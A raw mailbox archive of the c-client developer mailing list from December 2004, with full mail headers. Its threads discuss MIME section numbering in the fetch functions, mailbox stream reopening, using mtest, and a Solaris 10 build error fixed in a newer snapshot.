Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Dec 2004, Charles Dorner wrote: > On both questions, you guessed correctly; I was more focused on why the body > was the header+body together. As long as this is the appropriate behavior > from c-client, everything is jolly. I had previously implemented the obvious > hack to just count the header and remove that prefix from the body. However, > I wanted to verify that there wasn't more of a problem with section numbers, > message format, or something else lurking in the shadows. Thanks! You don't need to count the header; you can get the message text directly. mail_fetch_text() will fetch the raw message text (without the header). To get the first body part of the message text (as in a encapsulated MIME message), you need to add ".1" to the section specifier. Are you starting to see how it works? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 2 16:47:25 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 16:47:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB30lOmv030520 for ; Thu, 2 Dec 2004 16:47:24 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30lNI0026598 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 16:47:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB30lFPq017970; Thu, 2 Dec 2004 16:47:15 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB30kW0N050910 for ; Thu, 2 Dec 2004 16:46:32 -0800 Received: from sage.plu.edu (sage.PLU.edu [152.117.1.7]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30kWjQ030725 for ; Thu, 2 Dec 2004 16:46:32 -0800 Received: from CONVERSION-DAEMON.plu.edu by plu.edu (PMDF V6.2-X17 #30807) id <0I8403G01FHBLC@plu.edu> for c-client@u.washington.edu; Thu, 02 Dec 2004 16:46:23 -0800 (PST) Received: from [127.0.0.1] (roam-201-151.plu.edu [152.117.201.151]) by plu.edu (PMDF V6.2-X17 #30807) with ESMTP id <0I8402JMEFHA7D@plu.edu>; Thu, 02 Dec 2004 16:46:23 -0800 (PST) Message-Id: <41AFB75B.3010102@bynari.net> Date: Thu, 02 Dec 2004 16:46:19 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: message/rfc822 attachments include headers in both header and body? In-Reply-To: References: <41AFA458.3070106@bynari.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > > To get the first body part of the message text (as in a encapsulated > MIME message), you need to add ".1" to the section specifier. > Strange, I thought section numbers worked differently. So then, assuming that an e-mail has a single embedded message, I would want section 2 for mail_fetch_header and section 2.1 for mail_fetch_body? From pinedev@shivax2.cac.washington.edu Thu Dec 2 17:02:04 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 17:02:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB3123aZ030957 for ; Thu, 2 Dec 2004 17:02:03 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB3122W6027069 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 17:02:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB311qcB012632; Thu, 2 Dec 2004 17:01:52 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB310x0O086774 for ; Thu, 2 Dec 2004 17:00:59 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB310wFc013492 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Dec 2004 17:00:58 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB310vg7018471; Thu, 2 Dec 2004 17:00:57 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB310vUH021548 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 2 Dec 2004 17:00:57 -0800 Message-Id: Date: Thu, 2 Dec 2004 16:58:55 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Charles Dorner Cc: c-client@u.washington.edu Subject: Re: message/rfc822 attachments include headers in both header and body? In-Reply-To: <41AFB75B.3010102@bynari.net> References: <41AFA458.3070106@bynari.net> <41AFB217.8030109@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Dec 2004, Charles Dorner wrote: > Strange, I thought section numbers worked differently. So then, assuming > that an e-mail has a single embedded message, I would want section 2 for > mail_fetch_header and section 2.1 for mail_fetch_body? If an email consists solely of a single embedded message, it would be section 1 instead of section 2. Presumably, if you are using section 2, you have an email with a primary text content and an embedded message as an attachment, e.g. MULTIPART/MIXED TEXT/PLAIN "primary text content" MESSAGE/RFC822 "embedded message" In that case, then the following is true: mail_fetch_body() returns the entire body part section 1 => primary text content section 2 => entire embedded message section 2.1 => first MIME part of embedded message section 2.2 => second MIME part of embedded message etc. mail_fetch_header() returns the header of messages only null section => top level header section 2 => header of embedded message mail_fetch_text() returns the text of messages only null section => top level text section 2 => embedded message text Note that you can not call mail_fetch_header() or mail_fetch() text on section 1, nor can you call it on sections 2.1 or 2.2 unless those are also MESSAGE/RFC822 parts. Is it starting to make sense yet? The learning curve for how section numbers work *is* steep. The good news is that, when you finally understand the theory of section numbers, it'll be light a light bulb turning on in your head and then you can't imagine how it could be any other way. I thrashed through all of this when I developed it, and went through several different theories before I finally ended up with this one. If you are familiar with IMAP (RFC 3501), c-client section numbers are similar to IMAP section numbers, only in c-client they are always numeric. mail_fetch_body() =>
    mail_fetch_header() => [
    .]HEADER mail_fetch_text() => [
    .]TEXT mail_fetch_mime() =>
    .MIME In other words, mail_fetch_header() of section 2 is IMAP section 2.HEADER and mail_fetch_text() of section 2 is IMAP section 2.TEXT ... -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 2 18:24:17 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 18:24:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB32OHLu001052 for ; Thu, 2 Dec 2004 18:24:17 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB32OGXY024181 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 18:24:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB32O4v5009012; Thu, 2 Dec 2004 18:24:05 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB32N2XI073306 for ; Thu, 2 Dec 2004 18:23:02 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB32N2NR026377 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Dec 2004 18:23:02 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB32N1Lo014402; Thu, 2 Dec 2004 18:23:01 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB32N1fU021889 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 2 Dec 2004 18:23:01 -0800 Message-Id: Date: Thu, 2 Dec 2004 18:20:59 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Dec 2004, Tomas Pospisek's Mailing Lists wrote: > Hmm - this is starting to be interesting for me. So this means that I could > switch from mailbox to mailbox by opening them READONLY and that this would > not issue internally an open/close on the stream and thus not require a > re-authentication? You can switch from mailbox to mailbox regardless of whether or not they are readonly. The only thing that readonly does is prevent any changes to the mailbox (possibly including loading new messages). > So in the general case, that is for local and remote mailboxes of a random > format supported by c-client I can: > > foreach mailbox in mailboxes_at_a_location { > stream = open(mailbox, READONLY); # first step (read) > read_mails(stream) # > > stream = open(mailbox, READWRITE); # second step (expunge) > flag_removed_mails(stream); # > expunge(stream); # > > stream = open(mailbox, READONLY); # third step > append(new_mails, mailbox-name); # > } If I were you, I would try to determine an algorithm that permits just one readwrite open per mailbox. > Q1: If I ommit the second step, then I can guarantee that all email stati > are maintained, especially "Status: O" will not be set by c-client or > the IMAP server no matter what format the mailbox is in. Correct? "Status: O" is an artifact of traditional UNIX mailbox format, and is meaningless in other formats. If you mean the \Recent flag, the answer is "yes". > Q2: It would be interesting if there exists a way to delete emails in a > mailbox (that is the second step) without affecting the "Status: " > respectively the flags of any other email in that mailbox or any other > mailbox (this again for the general case). There isn't. > Q3: Or if there is a way to remove "Status: O" after the fact > (afterwards). As I understand though this is not possible for the > general case. Correct? There isn't, and correct. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 6 08:32:29 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 08:32:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6GWSo0025484 for ; Mon, 6 Dec 2004 08:32:28 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6GWReK012831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 08:32:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB6GWG7t012364; Mon, 6 Dec 2004 08:32:16 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6GTEMD092768 for ; Mon, 6 Dec 2004 08:29:14 -0800 Received: from web50906.mail.yahoo.com (web50906.mail.yahoo.com [206.190.38.126]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iB6GTAYx012820 for ; Mon, 6 Dec 2004 08:29:11 -0800 Received: (qmail 81135 invoked by uid 60001); 6 Dec 2004 16:29:10 -0000 Received: from [128.107.253.44] by web50906.mail.yahoo.com via HTTP; Mon, 06 Dec 2004 08:29:10 PST Message-Id: <20041206162910.81133.qmail@web50906.mail.yahoo.com> Date: Mon, 6 Dec 2004 08:29:10 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Biggs To: c-client@u.washington.edu Subject: using mtest to understand c-client MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm just getting started using c-client, and was trying to use mtest to talk to an IMAP server on another box. Looking at the code, it's not real clear to me how to specify the remote address, username, password, etc. I didn't see any readme's, FAQ's, or howto's specifically related to this. I have been looking at the API guide for c-client, which is good, but I haven't seen where it covers login. Any suggestions, or pointers to docs I could look at? Thanks! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 6 08:43:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 08:43:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6GhGUW025942 for ; Mon, 6 Dec 2004 08:43:16 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6GhFAX029549 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 08:43:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB6Gh6D8018166; Mon, 6 Dec 2004 08:43:06 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6Gg8UK043066 for ; Mon, 6 Dec 2004 08:42:08 -0800 Received: from mail11.bluewin.ch (mail11.bluewin.ch [195.186.18.61]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6Gg7ji014229 for ; Mon, 6 Dec 2004 08:42:07 -0800 Received: from localhost (83.76.10.181) by mail11.bluewin.ch (Bluewin AG 7.0.032) id 41B4605600004EEE; Mon, 6 Dec 2004 16:41:57 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1CbLvx-00009v-00; Mon, 06 Dec 2004 17:41:57 +0100 Message-Id: Date: Mon, 6 Dec 2004 17:41:57 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Andrew Biggs Cc: c-client@u.washington.edu Subject: Re: using mtest to understand c-client In-Reply-To: <20041206162910.81133.qmail@web50906.mail.yahoo.com> References: <20041206162910.81133.qmail@web50906.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Dec 2004, Andrew Biggs wrote: > I'm just getting started using c-client, and was > trying to use mtest to talk to an IMAP server on > another box. Looking at the code, it's not real clear > to me how to specify the remote address, username, > password, etc. I didn't see any readme's, FAQ's, or > howto's specifically related to this. I have been > looking at the API guide for c-client, which is good, > but I haven't seen where it covers login. Any > suggestions, or pointers to docs I could look at? You can go to mailsync.sf.net, click through to the sourceforge interface, there to the webcvs and look into the examples directory. The c-client docu gives you the precise syntax. *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Dec 6 09:23:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 09:23:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6HNGF1028009 for ; Mon, 6 Dec 2004 09:23:16 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6HNFDs014993 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 09:23:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB6HN5rk015940; Mon, 6 Dec 2004 09:23:05 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6HMMlu024112 for ; Mon, 6 Dec 2004 09:22:22 -0800 Received: from puppy.kicks-ass.org (cpc4-hitc3-3-0-cust232.lutn.cable.ntl.com [82.5.211.232]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6HMKmB027751 for ; Mon, 6 Dec 2004 09:22:21 -0800 Received: from windoze (windoze [192.168.0.8] (may be forged)) by puppy.kicks-ass.org (8.13.1+Sun/8.13.1) with SMTP id iB6HLoQV003206 for ; Mon, 6 Dec 2004 17:21:51 GMT Message-Id: Date: Mon, 6 Dec 2004 17:22:31 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jim" To: Subject: c-client on Solaris 10 SPARC In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Has anyone yet been able to compile c-client or imap-2004a on Solaris 10 SPARC ? on a 'make gso' I keep encountering osdep.h:64 error: conflicting types for `scandir' /usr/include/dirent.h:92 error: previous decleration of `scandir' ***Error code 1 make: Fatal error: Command failed for target `osdep.o' not being a coder in any sense of the word I'm at a loss to sort this one so any pointers would be appreciated Thanks Jim --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.805 / Virus Database: 547 - Release Date: 03/12/2004 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 6 09:34:11 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 09:34:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6HYBp2028355 for ; Mon, 6 Dec 2004 09:34:11 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6HYARl015461 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 09:34:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB6HY2aq012394; Mon, 6 Dec 2004 09:34:02 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6HWsRW123124 for ; Mon, 6 Dec 2004 09:32:54 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6HWrE2016290 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 6 Dec 2004 09:32:53 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6HWqtK007182; Mon, 6 Dec 2004 09:32:53 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6HWqEM002148; Mon, 6 Dec 2004 09:32:52 -0800 Message-Id: Date: Mon, 6 Dec 2004 09:32:52 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jim Cc: c-client@u.washington.edu Subject: Re: c-client on Solaris 10 SPARC In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Dec 2004, Jim wrote: > Has anyone yet been able to compile c-client or imap-2004a on Solaris 10 > SPARC ? It's fixed in the imap-2004b development snapshot. ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 6 10:37:03 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 10:37:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6Ib3o0030900 for ; Mon, 6 Dec 2004 10:37:03 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6Ib2Dw002043 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 10:37:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB6Ianw1016920; Mon, 6 Dec 2004 10:36:50 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB6IZoks064488 for ; Mon, 6 Dec 2004 10:35:50 -0800 Received: from puppy.kicks-ass.org (cpc4-hitc3-3-0-cust232.lutn.cable.ntl.com [82.5.211.232]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB6IZnf1018480 for ; Mon, 6 Dec 2004 10:35:50 -0800 Received: from windoze (windoze [192.168.0.8] (may be forged)) by puppy.kicks-ass.org (8.13.1+Sun/8.13.1) with SMTP id iB6IZEQl006910; Mon, 6 Dec 2004 18:35:18 GMT Message-Id: Date: Mon, 6 Dec 2004 18:35:56 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jim" To: "Mark Crispin" Cc: Subject: RE: c-client on Solaris 10 SPARC In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just to confirm, that gives me a clean build with no problems I just have to sort SSL out and rebuild Thanks very much Mark Jim -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Mark Crispin Sent: 06 December 2004 17:33 To: Jim Cc: c-client@u.washington.edu Subject: Re: c-client on Solaris 10 SPARC On Mon, 6 Dec 2004, Jim wrote: > Has anyone yet been able to compile c-client or imap-2004a on Solaris 10 > SPARC ? It's fixed in the imap-2004b development snapshot. ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.805 / Virus Database: 547 - Release Date: 03/12/2004 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.805 / Virus Database: 547 - Release Date: 03/12/2004 From pinedev@shivax2.cac.washington.edu Mon Dec 6 22:06:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 22:06:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB766G7V022375 for ; Mon, 6 Dec 2004 22:06:16 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB766FHd027902 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 22:06:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB7665bC016060; Mon, 6 Dec 2004 22:06:05 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB764ONr022396 for ; Mon, 6 Dec 2004 22:04:24 -0800 Received: from anu.edu.au (anumail2.anu.edu.au [150.203.2.42]) by mxe5.u.washington.edu 